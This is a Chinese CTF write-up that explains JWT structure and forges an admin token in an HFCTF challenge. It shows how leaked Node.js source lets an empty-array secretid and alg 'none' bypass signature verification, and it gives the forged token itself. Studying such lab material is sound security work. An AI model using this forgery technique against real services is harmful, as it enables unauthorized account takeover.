從hfctf學習JWT偽造

作者:Ch3ng 合天智匯

簡單介紹一下什麼是JWT

Json web token (JWT), 是為了在網絡應用環境間傳遞聲明而執行的一種基於JSON的開放標準((RFC 7519).該token被設計為緊湊且安全的,特別適用於分佈式站點的單點登錄(SSO)場景。JWT的聲明一般被用來在身份提供者和服務提供者間傳遞被認證的用戶身份信息,以便於從資源服務器獲取資源,也可以增加一些額外的其它業務邏輯所必須的聲明信息,該token也可直接被用於認證,也可被加密。

實際像這麼一段數據

從hfctf學習JWT偽造

這串數據以(.)作為分隔符分為三個部分,依次如下:

  • Header
<code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解碼為 {   

"alg"

:

"HS256"

,

"typ"

:

"JWT"

}alg屬性表示簽名的算法(algorithm),默認是 HMAC SHA256(寫成 HS256);typ屬性表示這個令牌(token)的類型(

type

),JWT 令牌統一寫為JWT/<code>
  • Payload
<code>eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ 解碼為 {   

"sub"

:

"1234567890"

,

"name"

:

"John Doe"

,

"iat"

:

1516239022

}JWT 規定了

7

個官方字段,供選用iss (issuer):簽發人

exp

(expiration

time

):過期時間

sub

(subject):主題aud (audience):受眾nbf (Not Before):生效時間iat (Issued At):簽發時間jti (JWT ID):編號/<code>
  • Signature

Signature 部分是對前兩部分的簽名,防止數據篡改。

首先,需要指定一個密鑰(secret)。這個密鑰只有服務器才知道,不能洩露給用戶。然後,使用 Header 裡面指定的簽名算法(默認是 HMAC SHA256),按照下面的公式產生簽名。

<code>

HMACSHA256

( base64UrlEncode(header) +

"."

+ base64UrlEncode(payload), secret )/<code>

算出簽名以後,把 Header、Payload、Signature 三個部分拼成一個字符串,每個部分之間用"點"(.)分隔,就可以返回給用戶。


JWT安全問題一般有以下

  1. 修改算法為none
  2. 修改算法從RS256到HS256
  3. 信息洩漏 密鑰洩漏
  4. 爆破密鑰


首先是一個登錄框,我們先註冊一個賬號admin123,admin123

從hfctf學習JWT偽造

看題目意思應該是想辦法變成admin來登錄

查看前端代碼js/app.js

<code>    

function

login

(

)

{

const

username = $(

"#username"

).val();

const

password = $(

"#password"

).val();

const

token = sessionStorage.getItem(

"token"

); $.post(

"/api/login"

, {username, password,

authorization

:token}) .done(

function

(

data

)

{

const

{status} = data;

if

(status) {

document

.location =

"/home"

; } }) .fail(

function

(

xhr, textStatus, errorThrown

)

{ alert(xhr.responseJSON.message); }); }

function

register

(

)

{

const

username = $(

"#username"

).val();

const

password = $(

"#password"

).val(); $.post(

"/api/register"

, {username, password}) .done(

function

(

data

)

{

const

{ token } = data; sessionStorage.setItem(

'token'

, token);

document

.location =

"/login"

; }) .fail(

function

(

xhr, textStatus, errorThrown

)

{ alert(xhr.responseJSON.message); }); }

function

logout

(

)

{ $.

get

('/api/logout').done(function(data) {

const

{status} = data;

if

(status) {

document

.location =

'/login'

; } }); }

function

getflag

(

)

{ $.

get

('/api/flag').done(function(data) {

const

{flag} = data; $(

"#username"

).val(flag); }).fail(

function

(

xhr, textStatus, errorThrown

)

{ alert(xhr.responseJSON.message); }); } /<code>

根據註釋符提示可以發現存在源碼洩露問題

接著發現了源碼洩漏

訪問app.js,controller.js,rest.js即可得到源代碼

關鍵代碼controllers/api.js

<code>

const

crypto =

require

(

'crypto'

);

const

fs =

require

(

'fs'

)

const

jwt =

require

(

'jsonwebtoken'

)

const

APIError =

require

(

'../rest'

).APIError;

module

.exports = {

'POST /api/register'

:

async

(ctx, next) => {

const

{username, password} = ctx.request.body;

if

(!username || username ===

'admin'

){

throw

new

APIError(

'register error'

,

'wrong username'

); }

if

(global.secrets.length >

100000

) { global.secrets = []; }

const

secret = crypto.randomBytes(

18

).toString(

'hex'

);

const

secretid = global.secrets.length; global.secrets.push(secret)

const

token = jwt.sign({secretid, username, password}, secret, {

algorithm

:

'HS256'

}); ctx.rest({

token

: token });

await

next(); },

'POST /api/login'

:

async

(ctx, next) => {

const

{username, password} = ctx.request.body;

if

(!username || !password) {

throw

new

APIError(

'login error'

,

'username or password is necessary'

); }

const

token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const

sid =

JSON

.parse(Buffer.from(token.split(

'.'

)[

1

],

'base64'

).toString()).secretid;

console

.log(sid)

if

(sid ===

undefined

|| sid ===

null

|| !

(

sid < global.secrets.length && sid >=

0

)) {

throw

new

APIError

(

'login error'

,

'no such secret id'

); }

const

secret

=

global

.

secrets

[

sid

];

const

user

=

jwt

.

verify

(

token, secret, {algorithm:

'HS256'

}

);

const

status

=

username

===

user

.

username

&&

password

===

user

.

password

;

if

(

status

) {

ctx

.

session

.

username

=

username

; }

ctx

.

rest

(

{ status }

);

await

next

()

; }, '

GET

/

api

/

flag

':

async

(

ctx, next

) =>

{

if

(ctx.session.username !==

'admin'

){

throw

new

APIError(

'permission error'

,

'permission denied'

); }

const

flag = fs.readFileSync(

'/flag'

).toString(); ctx.rest({ flag });

await

next(); },

'GET /api/logout'

:

async

(ctx, next) => { ctx.session.username =

null

; ctx.rest({

status

:

true

})

await

next(); } }; /<code>

嘗試註冊,可以看到在註冊的時候生成了一個token,並存在sessionStorage中

從hfctf學習JWT偽造

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

解密得到:

從hfctf學習JWT偽造


token生成過程

<code>

const

secret = crypto.randomBytes(

18

).toString(

'hex'

);

const

secretid =

global

.secrets.length;

global

.secrets.push(secret)

const

token = jwt.sign({secretid, username, password}, secret, {algorithm:

'HS256'

}); /<code>

看看各種條件,這裡會先對sid進行驗證,我們需要繞過這條認證,下面還有一個jwt.verify()的驗證並賦值給user

<code>

const

sid =

JSON

.parse(Buffer.from(token.split(

'.'

)[

1

],

'base64'

).toString()).secretid;

console

.log(sid)

if

(sid ===

undefined

|| sid ===

null

|| !

(

sid < global.secrets.length && sid >=

0

)) {

throw

new

APIError

(

'login error'

,

'no such secret id'

); }

const

secret

=

global

.

secrets

[

sid

];

const

user

=

jwt

.

verify

(

token, secret, {algorithm:

'HS256'

}

);

const

status

=

username

===

user

.

username

&&

password

===

user

.

password

; ..... .... '

GET

/

api

/

flag

':

async

(

ctx, next

) =>

{

if

(ctx.session.username !==

'admin'

){

throw

new

APIError(

'permission error'

,

'permission denied'

); } /<code>

這裡的密鑰是生成了18位,基本沒有爆破的可能性,我們使用的方法是將算法(alg)設置為none,接著我們需要讓jwt.verify()驗證中的secret為空,這裡有個tricks

<code>$ node  > 

const

secrets = [

1

,

2

,

3

,

4

]

undefined

>

const

sid = []

undefined

>

const

secret = secrets[sid]

undefined

> secret

undefined

/<code>

再看看能不能過條件

<code>const sid = JSON.parse(Buffer.

from

(token.split(

'.'

)[

1

],

'base64'

).toString()).secretid;運行結果> sid < secrets.length

true

> sid >=

0

true

我們將header修改原: {

"alg"

:

"HS256"

,

"typ"

:

"JWT"

} ==

=>

{

"alg"

:

"none"

,

"typ"

:

"JWT"

} 並加密為 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 修改payload{

"secretid"

:

1

,

"username"

:

"admin123"

,

"password"

:

"admin123"

,

"iat"

:

1587378820

} ==

=>

{

"secretid"

: [],

"username"

:

"admin"

,

"password"

:

"admin123"

,

"iat"

:

1587378820

} 並加密為 eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ /<code>

最後使用(.)進行拼接得到偽造的token

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

修改sessionStorage

從hfctf學習JWT偽造

接著使用admin,admin123登錄訪問api/flag,即可得到flag

從hfctf學習JWT偽造

參考:

https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

https://jwt.io/

如果想更多系統的學習CTF,可點擊
http://hetianlab.com/pages/CTFLaboratory.jsp,進入CTF實驗室學習,裡面涵蓋了6個題目類型系統的學習路徑和實操環境。

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!


分享到:


相關文章: